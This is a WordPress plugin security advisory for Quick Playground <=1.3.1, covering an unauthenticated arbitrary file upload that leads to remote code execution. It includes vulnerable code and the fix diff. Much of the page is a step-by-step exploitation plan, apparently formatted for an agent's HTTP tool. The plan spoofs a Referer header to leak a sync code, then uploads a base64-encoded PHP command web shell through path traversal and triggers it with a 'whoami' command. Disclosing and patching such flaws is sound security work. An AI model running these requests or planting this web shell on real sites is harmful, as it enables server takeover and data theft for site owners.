Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
Description
The Quick Playground plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.1. This is due to insufficient authorization checks on REST API endpoints that expose a sync code and allow arbitrary file uploads. This makes it possible for unauthenticated attackers to retrieve the sync code, upload PHP files with path traversal, and achieve remote code execution on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.3.1What Changed in the Fix
Changes introduced in v1.3.2
Source Code
WordPress.org SVN# Exploitation Research Plan: Quick Playground <= 1.3.1 Arbitrary File Upload (RCE) ## 1. Vulnerability Summary The **Quick Playground** plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerabili…
Show full research plan
Exploitation Research Plan: Quick Playground <= 1.3.1 Arbitrary File Upload (RCE)
1. Vulnerability Summary
The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerability stems from two issues:
- Information Leak: REST API endpoints (like
save_settingsordownload_json) have insufficient authorization checks (e.g., only checking theRefererheader), allowing unauthenticated attackers to retrieve thesync_coderequired for authenticated operations. - Arbitrary File Upload with Path Traversal: The
upload_imageREST API endpoint fails to properly sanitize thefilenameparameter and lacks sufficient authorization. This allows an attacker to upload PHP files and use path traversal (../) to place them in accessible directories.
2. Attack Vector Analysis
- Endpoints:
- Information Leak:
GET /wp-json/quickplayground/v1/save_settings/defaultorGET /wp-json/quickplayground/v1/download_json/default. - File Upload:
POST /wp-json/quickplayground/v1/upload_image/default.
- Information Leak:
- Method: REST API.
- Authentication: Unauthenticated (authorization bypass via
Refererspoofing or insufficient checking). - Payload: JSON body containing a base64 encoded PHP shell and a traversed filename.
- Preconditions: The plugin must be active. A "profile" (usually
default) must exist (created upon plugin activation).
3. Code Flow
- Registration: The plugin registers REST routes in
expro-api.php. - Leakage Path:
Quick_Playground_Save_Settings::register_routes(or similar) registers aGETmethod forsave_settings/(?P<profile>[a-z0-9_]+).- The
permission_callbacklikely mimicsQuick_Playground_Sync_Ids::get_items_permissions_check, which only verifies:return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER'];. - If accessed via
GET, the callbackget_itemsreads the JSON settings file from the uploads directory and returns it. - This JSON contains the
qckply_sync_code(as seen inclient-save-playground.phpwhere$clone['sync_code'] = $qckply_sync_codeis added to the outgoing JSON).
- Upload Path:
- The
upload_imageendpoint is called. - The handler receives
sync_code,base64, andfilename. - It validates
sync_codeusingqckply_cloning_code($profile). - Once authorized, it writes the decoded
base64content to a path constructed usingfilename. - Because
filenameis not sanitized for path traversal,../../shell.phpallows writing outside the intended directory.
- The
4. Nonce Acquisition Strategy
This vulnerability does not require a WordPress nonce. The REST API endpoints are designed for machine-to-machine communication between a WordPress Playground instance and the host site. Authorization is handled via:
- The
Refererheader (for the information leak). - The
sync_codeparameter in the JSON body (for the file upload).
5. Exploitation Strategy
Step 1: Retrieve the Sync Code
Spoof the Referer header to trick the permission check and retrieve the configuration file for the default profile.
- Request:
- Tool:
http_request - URL:
http://vulnerable-site.local/wp-json/quickplayground/v1/save_settings/default - Method:
GET - Headers:
Referer: https://playground.wordpress.net/
- Tool:
- Expected Response: A JSON object containing
"qckply_sync_code": "STATED_CODE"or similar keys inside thesettingsobject.
Step 2: Upload the PHP Web Shell
Use the retrieved sync_code to authorize a file upload to the upload_image endpoint. Use path traversal to place the shell in the /wp-content/ directory.
- Request:
- Tool:
http_request - URL:
http://vulnerable-site.local/wp-json/quickplayground/v1/upload_image/default - Method:
POST - Headers:
Content-Type: application/jsonReferer: https://playground.wordpress.net/
- Body:
(Note:{ "sync_code": "RETRIEVED_SYNC_CODE", "filename": "../../pwn.php", "base64": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+" }PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+is<?php system($_GET['cmd']); ?>)
- Tool:
Step 3: Trigger Execution
- Request:
- URL:
http://vulnerable-site.local/wp-content/pwn.php?cmd=whoami - Method:
GET
- URL:
6. Test Data Setup
- Activate Plugin: Ensure
quick-playgroundis active. - Initialize Settings: Visit the plugin settings page once as an admin to ensure the
defaultprofile andqckply_sync_codeare generated and saved to the filesystem.- CLI:
wp plugin activate quick-playground - CLI:
wp eval "qckply_get_directories(); qckply_cloning_code('default');"(Forces creation of directories and options).
- CLI:
7. Expected
Summary
The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) due to a combination of an information leak and an insecure file upload endpoint. Attackers can spoof a Referer header to retrieve a synchronization code and subsequently use that code to upload arbitrary PHP files via a path traversal vulnerability in the REST API.
Vulnerable Code
// expro-api.php ~line 178 public function get_items_permissions_check($request) { return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER']; } --- // expro-api.php ~line 536 public function get_items($request) { // ... (truncated) $params = $request->get_json_params(); $filename = sanitize_text_field($params['filename']); // ... (truncated) $filedata = base64_decode($params['base64']); $bytes_written = file_put_contents($qckply_site_uploads.'/'.$filename,$filedata); // ...
Security Fix
@@ -536,10 +478,7 @@ $qckply_site_uploads_url = $qckply_directories['site_uploads_url']; $params = $request->get_json_params(); - $filename = sanitize_text_field($params['filename']); + $filename = empty($params['filename']) ? '' : sanitize_file_name(wp_basename($params['filename'])); $last_image = get_transient('qckply_last_image_uploaded'); if($last_image == $filename) { $sync_response['message'] = 'duplicate image'; @@ -556,10 +496,41 @@ return $response; } else { + $filedata = base64_decode($params['base64'], true); + $image_info = false; + + if(false !== $filedata) { + $image_info = @getimagesizefromstring($filedata); + } + + $allowed_mimes = apply_filters('qckply_allowed_upload_mimes', [ + 'image/jpeg' => 'jpg', + 'image/png' => 'png', + 'image/gif' => 'gif', + 'image/webp' => 'webp', + ]); + + if(false === $filedata || empty($image_info['mime']) || empty($allowed_mimes[$image_info['mime']])) { + $sync_response['message'] = 'invalid file type'; + return new WP_REST_Response($sync_response, 400); + }
Exploit Outline
1. Retrieve Sync Code: Send a GET request to /wp-json/quickplayground/v1/save_settings/default. Spoof the 'Referer' header to 'https://playground.wordpress.net/' to bypass the permission check. Extract 'qckply_sync_code' from the JSON response. 2. Prepare Payload: Create a base64-encoded string of a PHP web shell. 3. Execute Arbitrary File Upload: Send a POST request to /wp-json/quickplayground/v1/upload_image/default. In the JSON body, include the retrieved 'sync_code', the base64-encoded payload, and a 'filename' parameter using path traversal (e.g., '../../pwn.php') to escape the restricted uploads directory. 4. Remote Code Execution: Access the uploaded file at the calculated path (e.g., /wp-content/pwn.php) to execute arbitrary PHP commands.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.